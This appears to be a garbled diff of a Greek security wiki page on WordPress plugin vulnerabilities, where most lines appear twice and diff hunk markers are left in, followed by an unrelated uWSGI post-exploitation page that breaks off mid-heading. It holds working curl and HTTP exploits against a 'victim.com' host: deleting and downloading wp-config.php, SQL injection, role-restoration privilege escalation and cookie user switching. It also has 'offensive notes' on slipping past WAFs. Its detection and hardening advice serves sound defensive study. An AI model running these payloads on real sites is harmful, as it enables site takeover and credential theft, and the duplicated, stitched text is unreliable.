- HTTP 201 με σώμα JSON που περιγράφει τον δημιουργημένο χρήστη.
- Ένας νέος χρήστης admin ορατός στο `wp-admin/users.php`.
- HTTP 201 με JSON σώμα που περιγράφει τον δημιουργημένο χρήστη.
- Νέος admin χρήστης ορατός στο `wp-admin/users.php`.
Λίστα ελέγχου ανίχνευσης
- Χρησιμοποιήστε grep για `getallheaders()`, `$_SERVER['HTTP_...']`, ή vendor SDKs που διαβάζουν custom headers για να ορίσουν user context (π.χ., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Επανεξετάστε τις εγγραφές REST για privileged callbacks που δεν έχουν ισχυρούς ελέγχους `permission_callback` και αντίθετα βασίζονται σε request headers.
- Αναζητήστε χρήσεις των core user-management functions (`wp_insert_user`, `wp_create_user`) μέσα σε REST handlers που προστατεύονται μόνο από τιμές header.
- Χρησιμοποιήστε grep για `getallheaders()`, `$_SERVER['HTTP_...']`, ή vendor SDKs που διαβάζουν custom headers για να ορίσουν το context χρήστη (π.χ. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Ελέγξτε τις REST registrations για privileged callbacks που στερούνται στιβαρών ελέγχων `permission_callback` και αντί αυτού βασίζονται σε request headers.
- Αναζητήστε χρήσεις βασικών συναρτήσεων διαχείρισης χρηστών (`wp_insert_user`, `wp_create_user`) μέσα σε REST handlers που ελέγχονται μόνο από τιμές header.
Σκληροποίηση
- Μην εξάγετε την επαλήθευση ταυτότητας ή την εξουσιοδότηση από headers που ελέγχονται από τον client.
- Αν ένας reverse proxy πρέπει να εγχύσει identity, τερματίστε την εμπιστοσύνη στο proxy και αφαιρέστε τις εισερχόμενες αντιγραφές (π.χ., `unset X-Wcpay-Platform-Checkout-User` στο edge), και στη συνέχεια περάστε ένα signed token και επαληθεύστε το server-side.
- Για REST routes που εκτελούν privileged actions, απαιτήστε ελέγχους `current_user_can()` και ένα αυστηρό `permission_callback` (μην χρησιμοποιείτε `__return_true`).
- Μην εξάγετε ποτέ authentication ή authorization από headers ελεγχόμενα από τον client.
- Αν ένας reverse proxy πρέπει να εισάγει identity, τερματίστε την εμπιστοσύνη στον proxy και αφαιρέστε εισερχόμενα αντίγραφα (π.χ. `unset X-Wcpay-Platform-Checkout-User` στο edge), κατόπιν περάστε ένα signed token και επαληθεύστε το server-side.
- Για REST routes που εκτελούν privileged actions, απαιτήστε ελέγχους `current_user_can()` και αυστηρό `permission_callback` (μη χρησιμοποιείτε `__return_true`).
- Προτιμήστε first-party auth (cookies, application passwords, OAuth) αντί για header “impersonation”.
Αναφορές: δείτε τα links στο τέλος αυτής της σελίδας για ένα δημόσιο περιστατικό και ευρύτερη ανάλυση.
Αναφορές: δείτε τους συνδέσμους στο τέλος αυτής της σελίδας για ένα δημόσιο περιστατικό και ευρύτερη ανάλυση.
### Μη αυθεντικοποιημένη Αυθαίρετη Διαγραφή Αρχείου μέσω wp_ajax_nopriv (Litho Theme <= 3.0)
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
Τα WordPress themes και plugins συχνά εκθέτουν AJAX handlers μέσω των hooks `wp_ajax_` και `wp_ajax_nopriv_`. Όταν η παραλλαγή **_nopriv_** χρησιμοποιείται **η callback γίνεται προσβάσιμη από μη αυθεντικοποιημένους επισκέπτες**, οπότε οποιαδήποτε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
1. Έναν **έλεγχο capability** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και
2. Ένα **CSRF nonce** επικυρωμένο με `check_ajax_referer()` / `wp_verify_nonce()`, και
3. **Αυστηρή εξυγίανση / επικύρωση εισροών**.
1. Έναν **έλεγχο δικαιωμάτων (capability check)** (π.χ. `current_user_can()` ή τουλάχιστον `is_user_logged_in()`), και
2. Ένα **CSRF nonce** επαληθευμένο με `check_ajax_referer()` / `wp_verify_nonce()`, και
3. **Αυστηρή απολύμανση / επικύρωση εισόδου (input sanitisation / validation)**.
Το multipurpose theme Litho (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία *Remove Font Family* και τελικά περιέλαβε τον ακόλουθο κώδικα (απλοποιημένο):
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -443,29 +443,29 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Προβλήματα που εισάγει αυτό το απόσπασμα:
Issues introduced by this snippet:
* **Unauthenticated access** το `wp_ajax_nopriv_` hook έχει καταχωρηθεί.
* **No nonce / capability check** οποιοσδήποτε επισκέπτης μπορεί να καλέσει το endpoint.
* **No path sanitisation** η συμβολοσειρά `fontfamily`, που ελέγχεται από τον χρήστη, συγχωνεύεται σε μια διαδρομή συστήματος αρχείων χωρίς φιλτράρισμα, επιτρέποντας το κλασικό `../../` traversal.
* **Μη πιστοποιημένη πρόσβαση** το `wp_ajax_nopriv_` hook έχει εγγραφεί.
* **Δεν υπάρχει nonce / έλεγχος capability** οποιοσδήποτε επισκέπτης μπορεί να καλέσει το endpoint.
* **Καμία εξυγίανση διαδρομής** η ελεγχόμενη από τον χρήστη `fontfamily` συμβολοσειρά συνενώνεται σε μια διαδρομή συστήματος αρχείων χωρίς φιλτράρισμα, επιτρέποντας το κλασικό `../../` traversal.
#### Εκμετάλλευση
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο **κάτω από τον βασικό κατάλογο uploads** (συνήθως `<wp-root>/wp-content/uploads/`) με την αποστολή ενός μόνο HTTP POST αιτήματος:
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο **κάτω από τον βασικό κατάλογο uploads** (normally `<wp-root>/wp-content/uploads/`) στέλνοντας ένα μόνο HTTP POST request:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Εφόσον `wp-config.php` βρίσκεται έξω από το *uploads*, τέσσερις ακολουθίες `../` είναι αρκετές σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress να μπει στον *installation wizard* στην επόμενη επίσκεψη, επιτρέποντας πλήρη κατάληψη του site (ο attacker απλώς παρέχει μια νέα DB configuration και δημιουργεί έναν admin χρήστη).
Επειδή το `wp-config.php` βρίσκεται έξω από το *uploads*, τέσσερις ακολουθίες `../` αρκούν σε μια προεπιλεγμένη εγκατάσταση. Η διαγραφή του `wp-config.php` αναγκάζει το WordPress να μπει στον *οδηγό εγκατάστασης* στην επόμενη επίσκεψη, επιτρέποντας πλήρη κατάληψη του site (ο επιτιθέμενος απλώς παρέχει μια νέα DB διαμόρφωση και δημιουργεί έναν admin χρήστη).
Άλλοι σημαντικοί στόχοι περιλαμβάνουν plugin/theme `.php` αρχεία (για να σπάσουν security plugins) ή κανόνες `.htaccess`.
Άλλοι σημαντικοί στόχοι περιλαμβάνουν αρχεία plugin/theme `.php` (για να παρακάμψουν plugins ασφαλείας) ή κανόνες `.htaccess`.
#### Detection checklist
#### Λίστα ελέγχου ανίχνευσης
* Οποιοδήποτε `add_action( 'wp_ajax_nopriv_...')` callback που καλεί filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
* Συνένωση μη-ελεγχόμενης εισόδου χρήστη σε διαδρομές (ψάξτε για `$_POST`, `$_GET`, `$_REQUEST`).
* Απουσία των `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`.
* Οποιοδήποτε callback `add_action( 'wp_ajax_nopriv_...')` που καλεί helpers συστήματος αρχείων (`copy()`, `unlink()`, `$wp_filesystem->delete()`, κ.λπ.).
* Συναρμολόγηση μη φιλτραρισμένης εισόδου χρήστη σε μονοπάτια (αναζητήστε `$_POST`, `$_GET`, `$_REQUEST`).
* Έλλειψη `check_ajax_referer()` και `current_user_can()`/`is_user_logged_in()`.
#### Σκληροποίηση
```php
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Πάντα** αντιμετωπίζετε οποιαδήποτε εγγραφή/διαγραφή σε δίσκο ως λειτουργία με προνόμια και επαληθεύστε διπλά:
> **Πάντα** θεωρείτε οποιαδήποτε ενέργεια write/delete στο δίσκο ως προνομιούχα και ελέγξτε προσεκτικά:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Privilege escalation μέσω επαναφοράς παρωχημένου ρόλου και έλλειψης εξουσιοδότησης (ASE "View Admin as Role")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Πολλά plugins υλοποιούν μια λειτουργία "view as role" ή προσωρινής εναλλαγής ρόλου αποθηκεύοντας τον/τους αρχικό(ούς) ρόλο(ους) στα user meta ώστε να μπορούν να επαναφερθούν αργότερα. Αν η διαδρομή επαναφοράς βασίζεται μόνο σε request parameters (π.χ. `$_REQUEST['reset-for']`) και σε μια λίστα που διαχειρίζεται το plugin χωρίς έλεγχο των capabilities και ενός έγκυρου nonce, αυτό μετατρέπεται σε vertical privilege escalation.
Πολλά plugins υλοποιούν μια δυνατότητα "view as role" ή προσωρινής role-switching αποθηκεύοντας τους αρχικούς role(s) στο user meta ώστε να μπορούν να αποκατασταθούν αργότερα. Εάν η διαδρομή αποκατάστασης βασίζεται μόνο σε request parameters (π.χ. `$_REQUEST['reset-for']`) και σε μια plugin-maintained list χωρίς έλεγχο capabilities και επαλήθευση ενός valid nonce, αυτό γίνεται vertical privilege escalation.
Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το reset branch επαναέφερε ρόλους βάσει `reset-for=<username>` εάν το username εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτελούσε ούτε έλεγχο `current_user_can()` ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και προσθέσει ξανά τους αποθηκευμένους ρόλους από το user meta `_asenha_view_admin_as_original_roles`:
Ένα πραγματικό παράδειγμα βρέθηκε στο πρόσθετο Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Το reset branch επανέφερε ρόλους βάσει `reset-for=<username>` εάν το username εμφανιζόταν σε έναν εσωτερικό πίνακα `$options['viewing_admin_as_role_are']`, αλλά δεν εκτέλεσε ούτε έλεγχο `current_user_can()` ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -511,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Γιατί είναι εκμεταλλεύσιμο
Why its exploitable
- Εμπιστεύεται `$_REQUEST['reset-for']` και ένα plugin option χωρίς server-side authorization.
- Αν ένας χρήστης είχε προηγουμένως υψηλότερα προνόμια αποθηκευμένα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα επαναφέρει χτυπώντας το reset path.
- Σε κάποιες αναπτύξεις, οποιοδήποτε authenticated user θα μπορούσε να προκαλέσει ένα reset για άλλο username που εξακολουθεί να υπάρχει στο `viewing_admin_as_role_are` (broken authorization).
- Εμπιστεύεται `$_REQUEST['reset-for']` και μια plugin option χωρίς server-side authorization.
- Αν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο `_asenha_view_admin_as_original_roles` και υποβαθμίστηκε, μπορεί να τα επαναφέρει προσπελάζοντας το reset path.
- Σε κάποιες deployments, οποιοσδήποτε authenticated user θα μπορούσε να trigger ένα reset για άλλο username που εξακολουθεί να υπάρχει στο `viewing_admin_as_role_are` (broken authorization).
Attack prerequisites
- Ευάλωτη έκδοση plugin με το feature ενεργοποιημένο.
- Ο target account έχει ένα stale high-privilege role αποθηκευμένο στα user meta από προηγούμενη χρήση.
- Οποιαδήποτε authenticated session; απουσία nonce/capability στη reset flow.
- Ευάλωτη έκδοση του plugin με τη feature enabled.
- Ο target account έχει ένα stale high-privilege role αποθηκευμένο σε user meta από προηγούμενη χρήση.
- Οποιαδήποτε authenticated session; missing nonce/capability στη reset flow.
Exploitation (example)
```bash
@ -531,34 +531,34 @@ Exploitation (example)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Σε ευάλωτες εκδόσεις αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους αρχικούς ρόλους (π.χ., `administrator`), αυξάνοντας ουσιαστικά τα προνόμια.
Σε ευάλωτες builds αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους αρχικούς ρόλους (π.χ. `administrator`), αναβαθμίζοντας ουσιαστικά τα προνόμια.
Detection checklist
- Αναζητήστε δυνατότητες αλλαγής ρόλου που διατηρούν τους “αρχικούς ρόλους” στο user meta (π.χ., `_asenha_view_admin_as_original_roles`).
- Αναζητήστε λειτουργίες εναλλαγής ρόλων που διατηρούν «αρχικούς ρόλους» στο user meta (π.χ. `_asenha_view_admin_as_original_roles`).
- Εντοπίστε μονοπάτια reset/restore που:
- Διαβάζουν ονόματα χρήστη από `$_REQUEST` / `$_GET` / `$_POST`.
- Διαβάζουν ονόματα χρηστών από `$_REQUEST` / `$_GET` / `$_POST`.
- Τροποποιούν ρόλους μέσω `add_role()` / `remove_role()` χωρίς `current_user_can()` και `wp_verify_nonce()` / `check_admin_referer()`.
- Εξουσιοδοτούν βάσει ενός πίνακα επιλογών plugin (π.χ., `viewing_admin_as_role_are`) αντί των δυνατοτήτων (capabilities) του χρήστη που ενεργεί.
- Εξουσιοδοτούν βάσει ενός plugin option array (π.χ. `viewing_admin_as_role_are`) αντί για τις δυνατότητες του ενεργούντος χρήστη.
Hardening
- Επιβάλετε ελέγχους capabilities σε κάθε κλάδο που αλλάζει κατάσταση (π.χ., `current_user_can('manage_options')` ή αυστηρότερο).
- Απαιτήστε nonces για όλες τις μεταβολές ρόλων/αδειών και επαληθεύστε τα: `check_admin_referer()` / `wp_verify_nonce()`.
- Μην εμπιστεύεστε ποτέ ονόματα χρήστη που παρέχονται από το αίτημα· επιλύστε τον στοχευόμενο χρήστη στον διακομιστή με βάση τον πιστοποιημένο χρήστη και την ρητή πολιτική.
- Ακυρώστε την κατάσταση των “αρχικών ρόλων” σε ενημερώσεις προφίλ/ρόλων για να αποφευχθεί η επαναφορά παρωχημένων υψηλών προνομίων:
- Επιβάλετε έλεγχο δυνατοτήτων σε κάθε διακλάδωση που αλλάζει κατάσταση (π.χ. `current_user_can('manage_options')` ή αυστηρότερο).
- Απαιτήστε nonces για όλες τις μεταβολές ρόλων/εξουσιοδοτήσεων και επαληθεύστε τα: `check_admin_referer()` / `wp_verify_nonce()`.
- Ποτέ μην εμπιστεύεστε ονόματα χρηστών που παρέχονται στο request· επιλύστε τον επιδιωκόμενο χρήστη server-side με βάση τον αυθεντικοποιημένο χρήστη και την ρητή πολιτική.
- Ακυρώστε την κατάσταση «αρχικών ρόλων» στις ενημερώσεις προφίλ/ρόλων για να αποφύγετε την επαναφορά παλαιών υψηλών προνομίων:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Σκεφθείτε την αποθήκευση ελάχιστης κατάστασης και τη χρήση χρονικά περιορισμένων, capabilityπροστατευμένων tokens για προσωρινές αλλαγές ρόλων.
Σκεφτείτε την αποθήκευση ελάχιστης κατάστασης και τη χρήση time-limited, capability-guarded tokens για προσωρινές role switches.
---
### Unauthenticated privilege escalation μέσω cookietrusted user switching στο δημόσιο `init` (Service Finder “sf-booking”)
### Unauthenticated privilege escalation μέσω cookietrusted user switching στο public `init` (Service Finder “sf-booking”)
Μερικά plugins δεσμεύουν user-switching helpers στο δημόσιο hook `init` και εξάγουν την ταυτότητα από ένα cookie που ελέγχεται από τον client. Αν ο κώδικας καλέσει `wp_set_auth_cookie()` χωρίς έλεγχο του authentication, της capability και ενός έγκυρου nonce, οποιοσδήποτε unauthenticated επισκέπτης μπορεί να αναγκάσει login ως οποιοδήποτε user ID.
Ορισμένα plugins συνδέουν helpers για user-switching στο δημόσιο hook `init` και εξάγουν την ταυτότητα από ένα cookie ελεγχόμενο από τον client. Εάν ο κώδικας καλεί `wp_set_auth_cookie()` χωρίς να επαληθεύει authentication, capability και έγκυρο nonce, οποιοσδήποτε unauthenticated επισκέπτης μπορεί να αναγκάσει το σύστημα να κάνει login ως οποιοδήποτε user ID.
Τυπικό ευάλωτο μοτίβο (απλοποιημένο από Service Finder Bookings ≤ 6.1):
```php
@ -591,11 +591,11 @@ wp_die('No original user found to switch back to.');
```
Γιατί είναι εκμεταλλεύσιμο
- Ο δημόσιος `init` hook κάνει τον χειριστή προσβάσιμο από μη αυθεντικοποιημένους χρήστες (χωρίς έλεγχο `is_user_logged_in()`).
- Η ταυτότητα προκύπτει από ένα cookie που μπορεί να τροποποιηθεί από τον client (`original_user_id`).
- Άμεση κλήση σε `wp_set_auth_cookie($uid)` συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς έλεγχο capability/nonce.
- Ο δημόσιος hook `init` κάνει τον handler προσβάσιμο από μη συνδεδεμένους χρήστες (δεν υπάρχει `is_user_logged_in()` guard).
- Η ταυτότητα προκύπτει από ένα cookie που μπορεί να τροποποιήσει ο client (`original_user_id`).
- Άμεση κλήση σε `wp_set_auth_cookie($uid)` συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς έλεγχο δικαιωμάτων ή nonce.
Εκμετάλλευση (χωρίς αυθεντικοποίηση)
Εκμετάλλευση (μη συνδεδεμένος χρήστης)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -605,32 +605,32 @@ Connection: close
```
---
### Σκέψεις WAF για WordPress/plugin CVEs
### WAF considerations for WordPress/plugin CVEs
Τα γενικά edge/server WAFs είναι ρυθμισμένα για ευρεία πρότυπα (SQLi, XSS, LFI). Πολλές ευπάθειες υψηλού αντίκτυπου σε WordPress/plugin είναι σφάλματα λογικής ή auth στην εφαρμογή που φαίνονται ως αβλαβής κίνηση, εκτός αν η μηχανή κατανοεί τα WordPress routes και τη σημασιολογία του plugin.
Τα generic edge/server WAFs είναι ρυθμισμένα για ευρείς pattern (SQLi, XSS, LFI). Πολλές highimpact WordPress/plugin ευπάθειες είναι applicationspecific logic/auth bugs που μοιάζουν με benign traffic εκτός αν ο engine κατανοεί τα WordPress routes και τα plugin semantics.
Επιθετικές σημειώσεις
Offensive notes
- Στοχεύστε endpoints ειδικά για το plugin με καθαρά payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Στοχεύστε pluginspecific endpoints με clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Δοκιμάστε πρώτα unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads συχνά πετυχαίνουν χωρίς obfuscation.
- Τυπικές περιπτώσεις υψηλού αντίκτυπου: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- Τυπικές highimpact περιπτώσεις: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Αμυντικές σημειώσεις
Defensive notes
- Μην βασίζεστε σε γενικές WAF υπογραφές για να προστατέψετε plugin CVEs. Εφαρμόστε virtual patches σε επίπεδο application-layer, ειδικά για την ευπάθεια, ή αναβαθμίστε γρήγορα.
- Προτιμήστε positive-security checks στον κώδικα (capabilities, nonces, strict input validation) αντί για αρνητικά φίλτρα regex.
- Μην βασίζεστε σε generic WAF signatures για να προστατέψετε plugin CVEs. Εφαρμόστε applicationlayer, vulnerabilityspecific virtual patches ή κάντε update γρήγορα.
- Προτιμήστε positivesecurity checks στον κώδικα (capabilities, nonces, strict input validation) αντί για negative regex filters.
## Προστασία WordPress
## WordPress Protection
### Τακτικές ενημερώσεις
### Regular Updates
Βεβαιωθείτε ότι το WordPress, τα plugins και τα themes είναι ενημερωμένα. Επίσης επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:
Βεβαιωθείτε ότι WordPress, plugins, και themes είναι ενημερωμένα. Επίσης επιβεβαιώστε ότι το automated updating είναι ενεργοποιημένο στο wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Επίσης, **εγκαταστήστε μόνο αξιόπιστα πρόσθετα και θέματα του WordPress**.
Επίσης, **εγκαταστήστε μόνο αξιόπιστα WordPress plugins και themes**.
### Πρόσθετα Ασφαλείας
@ -642,14 +642,14 @@ add_filter( 'auto_update_theme', '__return_true' );
- Αφαιρέστε τον προεπιλεγμένο χρήστη **admin**
- Χρησιμοποιήστε **ισχυρούς κωδικούς πρόσβασης** και **2FA**
- Περιοδικά **επανεξετάζετε** τα **δικαιώματα** των χρηστών
- Ελέγχετε περιοδικά τα **δικαιώματα** των χρηστών
- **Περιορίστε τις προσπάθειες σύνδεσης** για να αποτρέψετε επιθέσεις Brute Force
- Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
### SQL Injection χωρίς αυθεντικοποίηση λόγω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2)
Το πρόσθετο προσλήψεων WP Job Portal εξέθεσε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευπαθή κώδικα μέσα στο `modules/category/model.php::validateFormData()`:
Το recruitment plugin WP Job Portal αποκάλυπτε μια εργασία **savecategory** που τελικά εκτελούσε τον ακόλουθο ευπαθή κώδικα μέσα στο `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -659,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Προβλήματα που εισάγονται από αυτό το απόσπασμα:
Issues introduced by this snippet:
1. **Μη-φιλτραρισμένη είσοδος χρήστη** `parentid` προέρχεται απευθείας από το HTTP request.
2. **Συνένωση συμβολοσειρών μέσα στο WHERE clause** δεν υπάρχει `is_numeric()` / `esc_sql()` / prepared statement.
3. **Προσβασιμότητα χωρίς αυθεντικοποίηση** παρόλο που η ενέργεια εκτελείται μέσω του `admin-post.php`, ο μόνος έλεγχος που υπάρχει είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`.
1. **Ανεπεξέργαστη είσοδος χρήστη** `parentid` προέρχεται απευθείας από το αίτημα HTTP.
2. **Συγχώνευση συμβολοσειρών στο WHERE clause** δεν υπάρχει `is_numeric()` / `esc_sql()` / prepared statement.
3. **Πρόσβαση χωρίς αυθεντικοποίηση** αν και η ενέργεια εκτελείται μέσω `admin-post.php`, ο μοναδικός έλεγχος είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`.
#### Εκμετάλλευση
1. Πάρτε ένα νέο nonce:
1. Πάρε ένα καινούργιο nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Κάντε ενέγχυση αυθαίρετου SQL εκμεταλλευόμενοι το `parentid`:
2. Εισάγετε arbitrary SQL εκμεταλλευόμενοι το `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -679,18 +679,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Η απάντηση αποκαλύπτει το αποτέλεσμα του εισαχθέντος ερωτήματος ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi.
Η απάντηση αποκαλύπτει το αποτέλεσμα του εγχυμένου query ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi.
### Μη-επαληθευμένη Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
### Μη αυθεντικοποιημένη Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Μια άλλη ενέργεια, **downloadcustomfile**, επέτρεπε στους επισκέπτες να κατεβάζουν **οποιοδήποτε αρχείο στο δίσκο** μέσω path traversal. Ο ευάλωτος sink βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`:
Μια άλλη εργασία, **downloadcustomfile**, επέτρεπε σε επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στο δίσκο** μέσω path traversal. Ο ευάλωτος sink βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` ελέγχεται από attacker και συνενώνεται **without sanitisation**. Ξανά, η μόνη προστασία είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα resume.
`$file_name` είναι attacker-controlled και ενώνεται **without sanitisation**. Πάλι, το μόνο εμπόδιο είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα resume.
#### Exploitation
```bash
@ -701,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Ο server αποκρίνεται με τα περιεχόμενα του `wp-config.php`, leaking DB credentials and auth keys.
Ο διακομιστής επιστρέφει τα περιεχόμενα του `wp-config.php`, leaking DB credentials και auth keys.
## Αναφορές

View File

@ -0,0 +1,169 @@
# WSGI Post-Exploitation Tricks
{{#include ../../banners/hacktricks-training.md}}
## Επισκόπηση WSGI
Το Web Server Gateway Interface (WSGI) είναι μια προδιαγραφή που περιγράφει πώς ένας web server επικοινωνεί με web εφαρμογές και πώς οι web εφαρμογές μπορούν να αλυσοδεθούν για να επεξεργαστούν ένα αίτημα. Το uWSGI είναι ένας από τους πιο δημοφιλείς WSGI servers, που συχνά χρησιμοποιείται για την εξυπηρέτηση Python web εφαρμογών.
## uWSGI Magic Variables Exploitation
Το uWSGI παρέχει ειδικές "magic variables" που μπορούν να χρησιμοποιηθούν για τη δυναμική διαμόρφωση της συμπεριφοράς του server. Αυτές οι μεταβλητές μπορούν να οριστούν μέσω HTTP headers και ενδέχεται να οδηγήσουν σε σοβαρές ευπάθειες ασφαλείας όταν δεν ελέγχονται σωστά.
### Κύριες Εκμεταλλεύσιμες Μεταβλητές
#### `UWSGI_FILE` - Arbitrary File Execution
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
Αυτή η μεταβλητή επιτρέπει τη φόρτωση και την εκτέλεση αυθαίρετων αρχείων Python ως WSGI εφαρμογές. Εάν ένας επιτιθέμενος μπορεί να ελέγξει αυτήν την παράμετρο, μπορεί να επιτύχει Remote Code Execution (RCE).
#### `UWSGI_SCRIPT` - Φόρτωση Script
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
Φορτώνει ένα συγκεκριμένο script ως νέα εφαρμογή. Σε συνδυασμό με δυνατότητες μεταφόρτωσης αρχείων ή εγγραφής, αυτό μπορεί να οδηγήσει σε RCE.
#### `UWSGI_MODULE` και `UWSGI_CALLABLE` - Δυναμική Φόρτωση Module
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
Αυτές οι παράμετροι επιτρέπουν το φόρτωμα αυθαίρετων Python modules και την κλήση συγκεκριμένων συναρτήσεων μέσα σε αυτά.
#### `UWSGI_SETENV` - Χειρισμός μεταβλητών περιβάλλοντος
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
Μπορεί να χρησιμοποιηθεί για την τροποποίηση μεταβλητών περιβάλλοντος, ενδεχομένως επηρεάζοντας τη συμπεριφορά της εφαρμογής ή φορτώνοντας κακόβουλη διαμόρφωση.
#### `UWSGI_PYHOME` - Python Environment Manipulation
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
Αλλάζει το εικονικό περιβάλλον Python, ενδεχομένως φορτώνοντας κακόβουλα πακέτα ή διαφορετικούς διερμηνείς Python.
#### `UWSGI_CHDIR` - Directory Traversal
```
uwsgi_param UWSGI_CHDIR /etc/;
```
Αλλάζει τον τρέχοντα κατάλογο πριν την επεξεργασία των αιτήσεων, κάτι που μπορεί να χρησιμοποιηθεί για path traversal attacks.
## SSRF + Gopher to
### The Attack Vector
